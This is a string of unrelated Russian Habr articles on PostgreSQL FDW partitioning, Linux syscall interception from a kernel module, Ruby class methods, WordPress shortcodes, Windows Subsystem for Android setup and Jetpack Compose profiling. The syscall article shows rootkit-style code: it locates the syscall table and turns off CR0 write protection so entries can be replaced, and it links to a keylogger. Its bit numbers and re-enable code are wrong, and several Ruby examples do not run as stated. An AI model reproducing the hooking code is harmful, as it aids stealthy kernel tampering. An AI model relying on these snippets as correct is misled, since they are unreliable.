Хоть каждый день и представлен конкретным значением `dt`, мы все равно предпочитаем использовать `PARTITION BY RANGE` с указанием `FOR VALUES FROM (dt) TO (dt + 1)` вместо `PARTITION BY LIST`, поскольку этот вариант допускает определенную гибкость - например, можно слить некоторые архивные секции до месячных вместо суточных.
Проверим, как раскладываются по секциям записи при вставке в такую таблицу:
```
INSERT INTO archive
VALUES
('2021-04-01', 1)
, ('2021-04-02', 2)
RETURNING
tableoid::regclass
, *;
```
```
tableoid | dt | val
archive_20210401 | 2021-04-01 | 1
archive_20210402 | 2021-04-02 | 2
```
`tableoid` - это одно из системных полей записи, представляющее ссылку на конкретную таблицу (в нашем случае - секцию), в которой она находится. Подробнее можно прочитать в статье ["PostgreSQL Antipatterns: уникальные идентификаторы"](https://habr.com/ru/post/515786/).
"Подцепляем" старые данные
--------------------------
К особенностям нашей базы, как и многих баз мониторинга, можно отнести доминирующую активность только 1-2 последних секций и постепенное "отмирание" с течением времени более не требующихся блоков "сырых" данных.
Поэтому мы можем спокойно развернуть PostgreSQL 13 прямо на том же сервере, не создавая никакой избыточной нагрузки. Для определенности примем, что v12 доступна на `:5439`, а v13 будет на `:5440`.
Сначала повторим структуру базы для новых секций на новом сервере:
```
CREATE TABLE archive(
dt
date
, val
integer
)
PARTITION BY RANGE(dt);
CREATE TABLE archive_20210403
PARTITION OF archive
FOR VALUES FROM ('2021-04-03') TO ('2021-04-04');
```
Чтобы не создавать проекции всех старых секций с помощью [IMPORT FOREIGN SCHEMA](https://postgrespro.ru/docs/postgresql/13/sql-importforeignschema), ограничимся единственной вспомогательной секцией на определенный вид данных (планы, запросы, ...). Но раз таких видов у нас много, сразу настроим **полный доступ к старому серверу**, чтобы не копипастить параметры каждый раз:
```
CREATE EXTENSION postgres_fdw;
CREATE SERVER postgresql_12
FOREIGN DATA WRAPPER postgres_fdw
OPTIONS (host '127.0.0.1', port '5439', dbname 'tst');
CREATE USER MAPPING FOR postgres
SERVER postgresql_12
OPTIONS (user 'postgres', password 'postgres');
```
Теперь остается всего лишь создать служебную секцию, обеспечивающую доступ к старым данным:
```
CREATE FOREIGN TABLE archive_old
PARTITION OF archive
FOR VALUES FROM ('-infinity') TO ('2021-04-03')
-- dt < '2021-04-03'
SERVER postgresql_12
OPTIONS(table_name 'archive');
```
Тут нам снова удачно помогло использование `PARTITION BY RANGE` вместо `BY LIST`, позволив опереться на неравенство.
Проверим, как на новом сервере отработает аналогичная вставка данных:
```
INSERT INTO archive
VALUES
('2021-04-01', 1)
, ('2021-04-02', 2)
, ('2021-04-03', 3)
RETURNING
tableoid::regclass
, *;
```
```
tableoid | dt | val
archive_old | 2021-04-01 | 1 -- старый сервер
archive_old | 2021-04-02 | 2
archive_20210403 | 2021-04-03 | 3 -- новая секция
```
#### Дополнительные настройки FDW
Если в течение какого-то времени нам необходимо поддерживать **возможность записи в старые секции**, убедитесь в правильном задании значения [FDW-параметра](https://postgrespro.ru/docs/postgresql/13/postgres-fdw#id-1.11.7.42.10) `updatable`, а если планируете активно читать оттуда - обратите внимание на `use_remote_estimate` и `fetch_size`.
Ровно таким же способом, с помощью FDW-секций, можно **распределять дисковую нагрузку** на другие серверы - только тут уже лучше использовать `PARTITION BY HASH`, конечно. | https://habr.com/ru/post/550730/ | null | ru | null |
# Перехват системных вызовов в linux под x86-64
#### Введение
В интернете опубликовано множество статей по перехвату системных вызовов под x32. В рамках решения одной задачи появилась необходимость в перехвате системных вызовов под архитектурой x86-64 при помощи загружаемого модуля ядра. Приступим:
#### Перехват системных вызовов
Алгоритм:
* Поиск адреса таблицы системных вызовов
* Подмена на адреса новых системных вызовов
##### Поиск адреса таблицы системных вызовов
Первый вариант: можно найти через таблицу дескрипторов прерываний (IDT), IDT — служит для связи обработчика прерывания с номером прерывания. В защищённом режиме адрес в физической памяти и размер таблицы прерываний определяется 80-битным регистром IDTR.В защищённом режиме элементом IDT является шлюз прерывания длиной 10 байт, содержащий сегментный (логический) адрес обработчика прерывания, права доступа и др. Нам такой метод не интересен, т.к. мы получим адрес обработчика, который сделан для совместимости с х32
Второй вариант, более интересен.
Для начала не большой экскурс: [MSR](http://en.wikipedia.org/wiki/Machine_state_register) – machine state register это набор регистров процессоров Интел, используемых в семействе x86 и x86-64 процессоров. Эти регистры предоставляют возможность контролировать и получать информацию о состоянии процессора. Все MSR регистры доступны только для системных функций и не доступны из пользовательских программ. Нас в частности интересует следующий регистр:MSR\_LSTAR — 0xc0000082 (long mode SYSCALL target)
(полный список можно посмотреть в /usr/include/asm/msr-index.h).
В этом регистре хранится адрес обработчика прерываний для x86-64.
Получить адрес можно следующим образом:
`int i, lo, hi;
asm volatile("rdmsr" : "=a" (lo), "=d" (hi) : "c" (MSR_LSTAR));
system_call = (void*)(((long)hi<<32) | lo);`
Далее найдем адрес самой таблицы. Перейдем на только что полученный адрес и найдем в памяти последовательность \xff\x14\xc5(эти магические числа берутся, если посмотреть на код ядра, в частности, на код функции system\_call, в которой происходит вызов обработчика из искомой). Считав следующие за ней 4 байта, мы получим адрес таблицы системных вызовов syscall\_table. Зная ее адрес, мы можем получить содержимое этой таблицы (адреса всех системных функций) и изменить адрес любого системного вызова, перехватив его.
код для нахождения адреса таблицы системных вызовов:
`unsigned char *ptr;
for (ptr=system_call, i=0; i<500; i++) {
if (ptr[0] == 0xff && ptr[1] == 0x14 && ptr[2] == 0xc5)
return (void*)(0xffffffff00000000 | *((unsigned int*)(ptr+3)));
ptr++;
}`
##### Подмена на адреса новых системных вызовов
Тут тоже есть определенные нюансы, если просто так попробовать изменить что либо в таблице, то будет выдана ошибка. К счастью это достаточно легко обходится:
* Отключаем защиту памяти
* Переписываем адрес на адрес нашего обработчика
* Включаем защиту памяти
Для снятие и установки защиты необходимо знать следующее: регистр CR0 — содержит системные флаги управления, управляющие поведением и состоянием процессора.Флаг WP — защита от записи (Write Protect), 48-й бит CR0. Когда установлен, запрещает системным процедурам запись в пользовательские страницы с доступом только для чтения (когда флаг WP сброшен — разрешает). В отличие от х32 изменился только размер регистра и номер флага
код снятия защиты:
`asm("pushq %rax");
asm("movq %cr0, %rax");
asm("andq $0xfffffffffffeffff, %rax");
asm("movq %rax, %cr0");
asm("popq %rax");`
код включения защиты:
`asm("pushq %rax");
asm("movq %cr0, %rax");
asm("xorq $0x0000000000001000, %rax");
asm("movq %rax, %cr0");
asm("popq %rax");`
Этих знаний достаточно для подмены системных вызовов в Linux x86-64. Надеюсь кому-нибудь это будет полезным.
Спасибо за внимание.
**UPD:** * [English version](http://www.goncharov.xyz/it/system-call-interception-in-linux-kernel-module.html)
* [github.com/ultral/linux-keylogger](https://github.com/ultral/linux-keylogger)
* | https://habr.com/ru/post/110369/ | null | ru | null |
# Class методы в ruby
Не так давно, занявшись изучением ruby, я столкнулся с тем, что не понимаю, что такое class методы, точнее в чем их отличие от instance и зачем они вообще нужны. В учебнике, который я изучаю на данный момент, эта тема была описана не достаточно подробно или я не дочитал до подробного описания, но в любом случае мне стало интересно разобраться и я полез искать ответы в google. Данный пост является всем тем, что мне удалось найти и понять. Конечно, для опытных ruby разработчиков тут интересного мало, но я надеюсь, что смогу помочь таким же новичкам в языке как и я. Если я вас заинтриговал — прошу под кат.
Для начала, давайте определимся: в ruby все объекты. Это нужно впитать, усвоить и всегда помнить. Даже классы — это объекты имя которых — константа. И с каждым объектом можно совершать какие либо действия благодаря методам. Следовательно, возникает резонный вопрос: можно ли что-то делать с классами благодаря методам?
Думаю, что многие догадаются, что ответ на этот вопрос будет положительный, даже больше скажу: в ruby каждый метод является либо методом экземпляра (instance method) либо методом класса (class method соответственно). Отличаются они, кроме способа создания, только тем, что первые методы вызываются с экземпляром класса, а вторые — с классом. Важно понимать, в чем заключается различие между этими двумя методами и уметь определять когда и какой метод использовать. Поэтому рассмотрим методы класса (class methood), но для начала напомню, а может для кого и расскажу, что такое методы экземпляра.
##### Методы экземпляра (instance metods):
Часто используемые, обычно с таких методов начинается изучение языка практически во всех учебниках. Обычно создаются они тремя способами:
```
# Способ 1
class Test
def foo
puts 'Метод экземпляра'
end
end
a = Test.new
a.foo # => "Метод экземпляра"
# Способ 2
class Test
attr_accessor :foo
end
a = Test.new
a.foo = 'Метод экземпляра'
puts a.foo
# Способ 3
class Test; end
a = Test.new
def a.foo
puts 'Метод экземпляра'
end
Test.new.foo # => "Метод экземпляра"
```
Ничего сложного и все понятно. Используются они везде и всюду. Например: в rails модули экземпляра могут отвечать за создание и удаление тех же постов, ну или часто встречающийся метод — метод сложения.
##### Методы класса (class methods):
Руби очень гибкий и лаконичный язык, поэтому он предоставляет нам аж целых четыре различных способа создания методов класса:
```
# Способ 1
class Test
def self.foo
puts 'Метод класса'
end
end
Test.foo # => "Метод класса"
# Способ 1
class Test
def Test.foo
puts 'Метод класса'
end
end
Test.foo # => "Метод класса"
# Способ 3
class Test
class << self
def foo
puts 'Метод класса'
end
end
end
Test.foo # => "Метод класса"
# Способ 4
class Test; end
def Test.foo
puts 'Метод класса'
end
Test.bar # => "Метод класса"
```
Собственно создание данных методов тоже не представляет сложностей. Все представленные способы одинаково работают и единственное что их различает — вкус разработчика. В первом и во втором способе используется одна и та же конструкция, с единственным различием в переменной `self`. Третий случай интересен тем, что создается анонимный класс, а последний — очень похож на создание синглтона. Когда я вижу код, похожий на `self.name_class_method`, я понимаю, что это метод класса, поэтому я соглашаюсь со мнением людей, утверждающих, что в первом случае код более читаемый, так как он создает меньше путаницы.
Когда стоит пользоваться данными методами? Обычно их используют, когда вы имеете дело не с отдельными экземплярами класса. Самый банальный пример — методы валидации в rails. Выглядит код примерно так:
```
module ActiveRecord
class Base
def self.validates_of(...)
# Код валидации
end
end
end
class Foo < ActiveRecord::Base
validates_of :bar # не посредственное использование метода в классе
end
```
К этому примеру можно так же отнести все методы `arrt_*` семейства. Так же, есть замечательный метод `new`, который содержат в себе все экземпляры класса `Class`.
##### Взаимодействие instance и class методов между собой.
Бывают случаи, когда в методе класса необходимо вызвать метод экземпляра, ruby для этих целей предоставляет элегантный способ:
```
# Использование instance метода в class методе.
class Test
def instance_method
# код метода
end
def self.class_method
a = Test.new
a.instance_method
end
end
```
А иногда бывают случаи когда наоборот, нужно вызвать метод класса в методе экземпляра. Для этих целей нужно использовать метод `class`:
```
# Использование class метода в instance методе.
class Test
def self.class_method
puts self
end
def instance_method
self.class.class_method
end
end
```
Важно понимать, что `self` возвращает значение конкретного класса, поэтому иногда происходит путаница, когда нужно, что бы и наследники такого класса возвращали метод родителя. Для этих целей нужно использовать вместо `self` непосредственно имя класса родителя:
```
class Test1
def self.class_method
"foo"
end
def make1
self.class.class_method
end
def make2
Test1.class_method
end
end
class Test2 < Test1
def self.class_method
"abc"
end
end
b = Test2.new
b.make1 # => "abc"
b.make2 # => "foo"
```
P.S.: Спасибо товарищу [walkman7](https://habrahabr.ru/users/walkman7/) за то, что помог найти ошибку в последнем примере. | https://habr.com/ru/post/176763/ | null | ru | null |
# WordPress сокращения
Сегодня мы поговорим о сокращениях которые были введены в WordPress 2.5 и почему-то об этом русские вообще не пишут.
А ведь так много народу пользуется WordPress, но WordPress сокращения у нас непопулярны.
#### Что такое WordPress сокращения ?
Это когда вы набрали например adsense и все в этом месте у вас будет ваш код adsense. Удобно?
Еще бы. Поехали. 8) Готовы начать пользовать Wordpress сокращения?
Использование очень простое, начните новый пост, перейдите в режим HTML и напишите:
`[showcase]`
В сокращениях можно использовать атрибуты.
`[showcase id="5"]`
Можно в сокращение включить контенту:
`[url href="http://www.smashingmagazine.com"]Smashing Magazine[/url]`
Сокращения работают так что после отправки поста, ваш пост распарсится и сокращения с помощью Shortcode API преобразуются в то что было задумано.
Создадим простое WordPress сокращение
#### Давайте начнем с HelloWorld.
Сокращения создаются легко с помощью PHP, но пугаться тут не надо, ничего сложного.
1. Откройте function.php в вашей теме, если файла нет, создайте его.
2. Напишите функцию возвращающую HelloWorldfunction
`hello() {
return 'Hello, World!';
}`
3. Теперь присвоим сокращению функцию вот так: `add_shortcode('hw', 'hello');` Первый параметр — название сокращения, второй — имя функции
4. Теперь сокращение создано и мы можем его использовать по полной катушке в постах и в любом месте на страницах просто написав: `[hw]`
Конечно это простое WordPress сокращение, но это только начало, не так ли?
Делаем WordPress сокращения покруче
Давайте посмотрим как нам использовать атрибуты. Создадим сокращение url функции myUrl:
`add_shortcode("url", "myUrl");`
Функция:
`function myUrl($atts, $content = null) {
extract(shortcode_atts(array(
"href" => 'http://'
), $atts));
return ''.$content.'';
}`
Сокращение создано… теперь мы можем писать так:
`[url href="http://ajaxed.ru"]Ajax - мода[/url]`
А в результате получится так что будет написана 'Ajax — мода' ссылка указывающая на ajaxed.ru
Что произошло в функции?
Функция принимает 2 параметра: attr и content. attr — это атрибуты сокращения. У нас атрибут назывался href и содержал ссылку. content — это контент заключенный внутри тэга сокращения. Так же мы можем указать значение по умолчанию.
#### Создаем Пост в Twitter сокращение
Не вдаваясь в Twitter API сразу покажу что все очень просто:
`function twitt() {
return 'Чик-чирик';
}
add_shortcode('twitter', 'twitt');`
Чтобы использовать фичу нужно в посте написать:
`[twitter]`
И у вас появится ссылка, нажав которую, ваш пост попадет в Twitter
Подписка на RSS
Аналогично все очень просто и быстро:
`function subscribeRss() {
return 'Enjoyed this post? Subscribe to my RSS feeds!';
}
add_shortcode('subscribe', 'subscribeRss');`
Разукрасить rss-box до кучи:
`.rss-box{
background:#F2F8F2;
border:2px #D5E9D5 solid;
font-weight:bold;
padding:10px;
}`
#### Понатыкаем везде где можно Adsense сокращение
Абсолютно ничего сложно, нужно вернуть статичный кусочек кода, выданный Google:
`function showads() {
return '
src="http://127.0.0.1/images/ajaxed/http://pagead2.googlesyndication.com/pagead/show_ads.js">`';
}
add\_shortcode('adsense', 'showads');
Теперь просто пишем [adsense] и реклама есть
Я бы мог еще рассказать несколько примеров, но они немного надуманны, если кому интересно, то обязательно прочитайте оригинал:
[SmashingMagazine](http://www.smashingmagazine.com/2009/02/02/mastering-wordpress-shortcodes/)
Текст на английском, там же есть ссылки на ресурсы по WordPress сокращениям.
А теперь расскажите друзьям о сокращениях и вы полите WordPress чуть чуть больше.
Автор [ajaxed.ru](http://ajaxed.ru) | https://habr.com/ru/post/51027/ | null | ru | null |
# Дружественная колонка текста
Недавно в посте [«Зум шрифта и верстка»](http://habrahabr.ru/blogs/web_design/118319/) автор выразил обеспокоенность тем, что происходит, когда меняется размер шрифта в колонке, ширина которой фиксирована в пикселях. Хотя сейчас принято зумить всю страницу, но я не уверен, что это всегда и вообще правильно — пиксели страницы перестают соответствовать пикселям экрана, происходит нездоровое умножение сущностей.
Кроме того, в своей практике я часто сталкивался с желательностью распределить текст по всей ширине окна без увеличения его кегля — чтобы уместить на экране побольше текста от одного обращения к прокрутке до другого.
Из этих соображений родилось такое возможное решение: ширину колонки текста фиксируем в `em`'ах, чтобы по умолчанию строчка содержала какое-то считающееся удобочитаемым количество символов (относительно конкретного количества полиграфисты и Web-дизайнеры так и не определились, но не суть), а также дополняем её интерфейсом для настройки ширины. Например, чтобы можно было тащить правую границу колонки, а двойным кликом по ней попеременно распахивать на 100 % (и тогда ширина будет определяться шириной окна браузера) или возвращать первоначальную ширину.
Для этого воспользуемся плагином [jQuery UI Resizable](http://jqueryui.com/demos/resizable/). Подключаем к странице файлы `jquery-ui-1.8.12.custom.css`, `jquery-1.5.1.min.js` и `jquery-ui-1.8.12.custom.css`, а также свои — `style.css` и `onReady.js`.
Колонка задаётся так:
```
Текст
```
В своём файле стилей пишем что-нибудь вроде:
```
div#content{
width: 45em;
margin-left: auto;
margin-right: auto;
padding: 1ex 1em;
border-right: thin dashed #444444;
}
```
А в своём файле скриптов:
```
$(
function(){
$("#content").attr("start_width", $("#content").width()+"px");
$("#content").resizable({
handles: "e",
start: function(){
$("#content").removeAttr("expanded");
}
});
$("#content div.ui-resizable-handle.ui-resizable-e").dblclick(
function(){
if($("#content").attr("expanded"))
$("#content").width($("#content").attr("start_width")).removeAttr("expanded");
else
$("#content").width("auto").attr("expanded", "expanded");
}
);
}
);
```
Получаем колонку, которая по умолчанию имеет некую принятую ширину в символах, но пользователь может делать с ней, что его душе угодно (в рамках мыслимых потребностей).
UPD: По просьбам общественности — [демо](http://jsfiddle.net/torbasow/yeK9N/2/embedded/result/). | https://habr.com/ru/post/118978/ | null | ru | null |
# Разработка приложений с Windows Subsystem for Android
Microsoft открыла тестирование Windows Subsystem for Android. Пока это доступно для бета тестеров из США. Но умельцы уже нашли способы установить ее на любую сборку windows 11. Далее опишу эту инструкцию, и запущу приложения из Android Studio, попробую подебажить и расскажу нюансы которые я заметил, на которые необходимо обратить внимание при разработке.
Для начала надо убедиться, что ЦП поддерживает виртуализацию и включить ее. Открываем «диспетчер задач», переходим на вкладку «производительность» под графиками ЦП ищем строчку «Виртуализация включено». Если строчка есть – все ОК переходим к следующему шагу, если нет лезем в BOIS и включаем ее там. Если ЦП не поддерживает виртуализацию – то закрываем инструкцию она не пригодится.
Следующим шагом в поиске меню «Пуск» ищем и открываем «Включение или отключение компонентов Windows», и ставим галочку напротив пункта «Платформа виртуальной машины»
Далее нужен установщик Windows Subsystem for Android, есть инструкции как получить его с сервера Microsoft Store, но у меня не получилось. Нашел ссылку на [GoogleDrive](https://drive.google.com/file/d/1ZgHzxklHzBt5-YbBcMv5APAzfXlheN0P/view?ref=dtf.ru) и выложил в [Я.Диск](https://disk.yandex.ru/d/08OedHezFbwadg)
Дальше необходимо запустить PowerShell **обязательно от имени администратора!** В консоль вводим команду
```
Add-AppxPackage -Path "C:\Users\user1\Desktop\MyApp.msix"
```
Где указываем путь до файла скачанного в прошлом пункте. Если все удачно, то в пуске появилась ссылка на Windows Subsystem for Android.
Теперь рассмотрим, как устанавливать apk файлы в эту систему. Сначала запускаем Windows Subsystem for Android, включаем режим разработчика, нажимаем иконку рядом с пунктом «Файлы», для запуска подсистемы. Возвращаемся на прошлый экран и нажимаем кнопку «обновить» рядом с элементом «IP адрес». На моем скрине эта кнопку уже называется «Копировать», потому что «Обновить» я уже нажал.
Полученный IP адрес будем использовать для подключения с помощью ADB. Для этого в командную строку вводим команду
```
adb.exe connect полученный_IP
```
С этого момента Android Studio видит подсистему как устройство, на котором можно запускать приложения. *Примечание, если AS не была запущенна или открыть другой проект, то для того, чтобы увидеть подсистему как устройство – надо заново выполнить эту команду*
У меня запустились все приложения, которые я пробовал запустить. Дебаг работает без проблем, так же как на эмуляторе.
Если нужно установить APK файл, то через командную строку вводим команду
```
adb.exe install MyApp.apk
```
После установки приложения любым из способов – в Пуске появляется ярлык этого приложения.
Теперь мои наблюдения:
* Если понимаем, что необходимо будет поддерживать приложение для десктопа – надо обратить внимание на обработку физической клавиатуры. Например, были статьи про добавление навигации в RecyclerView стрелками
* Еще более остро заметна проблема отсутствия обработки кнопки «enter» в TextView
* Возник спор с коллегой, что не будет тут поддерживаться armv7. Для теста запустили приложение использующее exoPlayer для отображения потокового видео – все взлетело без проблем, работает. Так что «сишные» библиотеки не страшны
* Если в манифесте у активити не заблочена ориентация, то приложение можно без проблем ресайзить, при этом при каждом ресайзе будут отрабатывать все методы жизненного цикла как положено, если же она заблокирована – то размер окна будет постоянный, по соотношению сторон примерно как на телефоне
* Физическая камера подхватывется без проблем, если нет такой – открывается пустое окно
* После всех этих действий, у меня перестал запускаться эмулятор и пока с этим не разобрался(если у кого повторится и с этим разберетесь - пишите в комменты)
Я думаю, что получилась классная подсистема. Понятно что она еще сырая, что есть проблемы с Google сервисами, но в будущем это классный задел под разработку приложений под две платформы. А что на счет этого думаете Вы?
**UPD:** в комментарих пишут что Google Drive недоступен, продублировал файл в [Я.Диск](https://disk.yandex.ru/d/08OedHezFbwadg)
**UPD1:** для получения самой последней версии подсистемы с сервера MicrosoftStore
* Открываем сайт [store.rg-adguard.net](https://store.rg-adguard.net/)
* В левом списке выбираем "URL (link)"
* В поле ввода вставляем ссылку [www.microsoft.com/store/productId/9P3395VX91NR](https://www.microsoft.com/store/productId/9P3395VX91NR)
* В правом списке выбиваем "Slow"
* Нажимаем на "галочку"
* Ищем в списке файл MicrosoftCorporationII.WindowsSubsystemForAndroid\*.msixbundle вес около 1.2 GB, у меня всегда был последний в списке
* Правой кнопкой мыши кликаем по имени файла и выбираем пункт "копировать адрес ссылки"
* Вставляем ссылку в новую вкладку. Загрузка началась | https://habr.com/ru/post/585178/ | null | ru | null |
# Оптимизируй или сдохни: профилирование и оптимизация Jetpack Compose
Привет! На связи Сергей Панов, разработчик мобильных приложений в IceRock. Сегодня я разберу на примере нашего приложения «Кампус», как делать профилирование и оптимизацию Jetpack Compose.
«Кампус» — это приложение для просмотра расписания занятий. Главная его фича — это экран расписания, состоящий из двух [pager’ов](https://google.github.io/accompanist/pager/) для недели и дня. Свайпы по ним вызывали зависания у пользователей, и мы это исправили.
### В статье рассмотрим:
1. [Recomposition Counts: локализуем лишние рекомпозиции](#Recomposition-Counts%E2%80%8B-lokalizuem-lishnie-rekompozicii)
2. [Compose Compiler Metrics: ищем причины лишних рекомпозиций](#Compose-Compiler-Metrics%E2%80%8B-ishhem-prichiny-lishnih-rekompozicij)
3. [Профилирование CPU: находим «тяжелые» методы и разгружаем процессор](#Profilirovanie-CPU-nahodim-tjazhelye-metody-i-razgruzhaem-processor)
4. [Профилирование GPU: узнаем, какие компоненты долго отрисовываются](#Profilirovanie-GPU-uznaem-kakie-komponenty-dolgo-otrisovyvajutsja)
5. [Еще советы по устранению ошибок, найденных с помощью инструментов профилирования](#Eshhe-sovety-po ustraneniju-oshibok-najdennyh-s pomoshhju-instrumentov-profilirovanija)
### Recomposition Counts: локализуем лишние рекомпозиции
**Проблема.** Первое понятие, на которое нужно обратить внимание, — [рекомпозиция](https://developer.android.com/jetpack/compose/mental-model#recomposition).
Рендер экрана в Compose состоит из прохода по графу [composable-функций](https://developer.android.com/reference/kotlin/androidx/compose/runtime/Composable). Если состояние вершины графа меняется (меняются аргументы composable-метода, значения `MutableState` или анимации), то вызывается перестроение подграфа, то есть происходит повторный вызов функций. Это перестроение называется рекомпозицией.
Перестроения выполняются быстро и не должны порождать проблем, но из-за частых рекомпозиций приложение может подтормаживать.
Это главная особенность Compose и его подводный камень. Ведь разработчик может допустить ошибки, которые могут привести к излишним рекомпозициям, например к пересозданию объекта вместо переиспользования. Это приведет к ненужным вычислениям и проблемам с производительностью.
**Решение.** На больших проектах эти ошибки можно не заметить невооруженным глазом, поэтому Android Studio предлагает вооружить наш глаз тулзой [Recomposition Counts](https://developer.android.com/jetpack/compose/tooling#recomposition-counts).
Вы можете включить ее в Layout Inspector, чтобы проверить, как часто composable-функция вызывается заново или пропускается. [Следуйте инструкции](https://developer.android.com/jetpack/compose/tooling#recomposition-counts), чтобы открыть необходимую статистику.
**Применение.** На примере «Кампуса» проверим, есть ли у нас лишние рекомпозиции. Мы запустили проект в симуляторе и перешли в Layout Inspector. После добавления Recomposition Counts у нас появилось два столбца с числом рекомпозиций и пропусков каждого composable-метода. Теперь мы видим, что при cвайпе на следующий день методы `ScheduleDayPage` и `RemoteStateContent` рекомпозируются по три раза вместо одного и не пропускаются вовсе.
Таким образом нам удалось локализовать проблему, мы зафиксировали метод, которому следует уделить пристальное внимание:
```
@Composable
fun ScheduleDayPage(
state: RemoteState,
onItemClick: (ScheduleDetails) -> Unit,
viewAds: (ScheduleDay.Lesson) -> Unit,
clickOnAds: (ScheduleDay.Lesson) -> Unit
) {
...
}
```
### Compose Compiler Metrics: ищем причины лишних рекомпозиций
#### Стабильные типы данных
**Проблема.** Чтобы понять, почему метод рекомпозируется несколько раз, нужно познакомиться с понятием [стабильности](https://developer.android.com/reference/kotlin/androidx/compose/runtime/Stable).
Стабильность гарантирует компилятору, что тип не будет изменяться либо уведомит о своем изменении. Компилятор не будет запускать проверку на изменение состояния composable-метода, если все его аргументы будут стабильными.
Следовательно, стабильными типами данных называют типы, инстансы которых неизменяемы, либо уведомляют композицию об изменении своего состояния. Помимо стабильных и нестабильных типов данных, выделяют третий тип — иммутабельный. Это более строгий класс, который гарантирует, что объект не будет изменен вообще.
В строгом смысле стабильный тип должен соответствовать следующим требованиям:
1. Результат вызова `equals` для двух инстансов будет всегда одинаков.
2. Если публичное поле класса изменяется, то композиция об этом узнает.
3. Все публичные поля имеют стабильный тип.
Чтобы третье условие соблюдалось, требуется наличие стабильных типов, которые разработчики могут использовать для создания собственных типов данных. Jetpack Compose Compiler считает стабильными следующие типы: примитивные типы, String, функциональные типы, перечисления.
Для более глубокого понимания определений рекомпозиции и стабильных типов данных я рекомендую [статью Дениса Голубева](https://medium.com/@denisgolubev1999/jetpack-compose-%D0%BF%D0%BE%D0%B4-%D0%BA%D0%B0%D0%BF%D0%BE%D1%82%D0%BE%D0%BC-%D1%80%D0%B5%D0%BA%D0%BE%D0%BC%D0%BF%D0%BE%D0%B7%D0%B8%D1%86%D0%B8%D1%8F-%D0%B8-%D1%81%D1%82%D0%B0%D0%B1%D0%B8%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5-%D1%82%D0%B8%D0%BF%D1%8B-9598f8b62006). В ней есть следующий пример:
```
// Все поля класса неизменяемы. StableClass1 стабильный
class StableClass1(
val immutableValue: Int
)
// Композиция узнает об изменении состояния благодаря MutableState. StableClass2 стабильный
class StableClass2(
val mutableState: MutableState
)
// Имеются изменяемые поля. UnstableClass1 нестабильный
class UnstableClass1(
var immutableValue: String
)
// Тип поля unstableTypeField нестабильный. UnstableClass2 нестабильный
class UnstableClass2(
val unstableTypeField: UnstableClass1
)
```
> Также разработчики могут помечать классы аннотациями `@Stable` и `@Immutable`.
>
>
**Решение.** Для выявления стабильных и нестабильных типов, а также пропускаемых и перезапускаемых методов, которые мы обнаружили с помощью Recomposition Counts, можно воспользоваться тулзой [Compose Compiler Metrics](https://chris.banes.dev/composable-metrics/).
Для получения статистики по проекту нужно добавить таску в *app/build.gradle.kts* и запустить релизную сборку с активным флажком, как описано в статье.
В результате в папке *build/compose\_metrics* мы обнаружим четыре файла со следующим содержанием:
* *app\_release-classes.txt* — информация о стабильности классов:
```
unstable class MigrationScreen {
unstable val navController: NavController
= Unstable
}
stable class ExpandedStateStrings {
stable val expandString: String
stable val collapseString: String
= Stable
}
```
* *app\_release-composables.txt* — информация о том, рекомпозируемый метод или пропускаемый:
```
restartable skippable scheme("[androidx.compose.ui.UiComposable]") fun TopAppBarTitle(
stable modifier: Modifier? = @static Companion
stable name: String
stable date: String
stable weekName: String?
stable menuExpanded: MutableState
)
```
* *app\_release-composables.csv* — те же сведения, только в виде таблицы;
* *app\_release-module.json* — общая информация по проекту:
```
{
"skippableComposables": 693,
"restartableComposables": 838,
"readonlyComposables": 0,
"totalComposables": 882,
...
}
```
**Применение.** Вернемся к «Кампусу»: нам был интересен метод `ScheduleDayPage`. Для поиска информации о нем перейдем в файл *app\_release-composables.txt*:
```
restartable scheme("[androidx.compose.ui.UiComposable]") fun ScheduleDayPage(
unstable state: RemoteState
stable onItemClick: Function1
stable viewAds: Function1
stable clickOnAds: Function1
)
```
Как мы поняли, этот метод не является `skippable` и будет рекомпозироваться при любом удобном случае. Также видим, что аргумент `state` является нестабильным.
Чтобы поправить это, можем добавить аннотацию `@Immutable` к классам `RemoteState` и `ScheduleDay`, убедившись, что данные классы не будут меняться после создания.
> Не следует «вешать» эту аннотацию на классы с var-полями или полями, содержащими списки.
>
>
Это решит проблему нестабильного класса, но с этим методом еще не все окончено. Он уже помечен в метрике как `skippable`, однако в Layout Inspector мы все еще замечаем ненужные рекомпозиции.
#### Нестабильные списки
**Проблема.** Есть способ переопределить стабильность классов с помощью аннотаций, но это не решит проблему стабильности списков, сетов и словарей.
**Решение.** Крис Уорд предлагает [решение данной проблемы](https://christopherward.medium.com/debugging-and-fixing-a-huge-jetpack-compose-performance-problem-in-my-sudoku-solver-app-8f67fa229dc2) с помощью библиотеки [kotlinx-collections-immutable](https://github.com/Kotlin/kotlinx.collections.immutable), которая позволяет явно указать, что composable-метод должен принимать неизменяемый список.
```
@Composable
fun StableGrid(
values: ImmutableList
) {
...
}
```
#### Нестабильные лямбды
**Проблема.** У нашего класса `ScheduleDayPage` в качестве аргументов также есть функции, с которыми нужно быть осторожными в Compose.
Перейдем к месту инициализации метода:
```
@Composable
internal fun ScheduleScreenContent(
selectedDate: LocalDate,
onDateSelected: (LocalDate) -> Unit,
onItemClick: (ScheduleDetails) -> Unit,
viewAds: (LocalDate, ScheduleDay.Lesson) -> Unit,
clickOnAds: (LocalDate, ScheduleDay.Lesson) -> Unit,
scheduleDayForDate: (LocalDate) -> StateFlow>
) {
CalendarDayPager(
selectedDate = selectedDate,
onDateSelected = onDateSelected,
dayContent = { date ->
val scheduleDayFlow: StateFlow> = remember(date) {
scheduleDayForDate(date)
}
val scheduleDay: RemoteState by scheduleDayFlow.collectAsState()
ScheduleDayPage(
state = scheduleDay,
onItemClick = onItemClick,
viewAds = { lesson -> viewAds(date, lesson) },
clickOnAds = { lesson -> clickOnAds(date, lesson) }
)
}
)
}
```
Обратите внимание на то, как передаются функции в наш метод `ScheduleDayPage`.
В Compose есть такое понятие, как нестабильные лямбды, которое [хорошо описал Джастин Брейтфеллер](https://multithreaded.stitchfix.com/blog/2022/08/05/jetpack-compose-recomposition/).
В его статье следует обратить внимание на то, как компилятор обрабатывает лямбды, а именно создает анонимный класс с методом `invoke()`, в котором находится содержимое лямбды. Иными словами, каждый раз при передаче лямбды мы создаем объект анонимного класса, который при этом не имеет хеша, по которому компилятор сравнил бы его на шаге перестройки. Следовательно компилятор посчитает, что состояние узла графа поменялось и нужно провести рекомпозицию.
> Следовательно Compose Compiler Metrics не отметит лямбды как unstable (нестабильные), но рекомпозиция проведена будет.
>
>
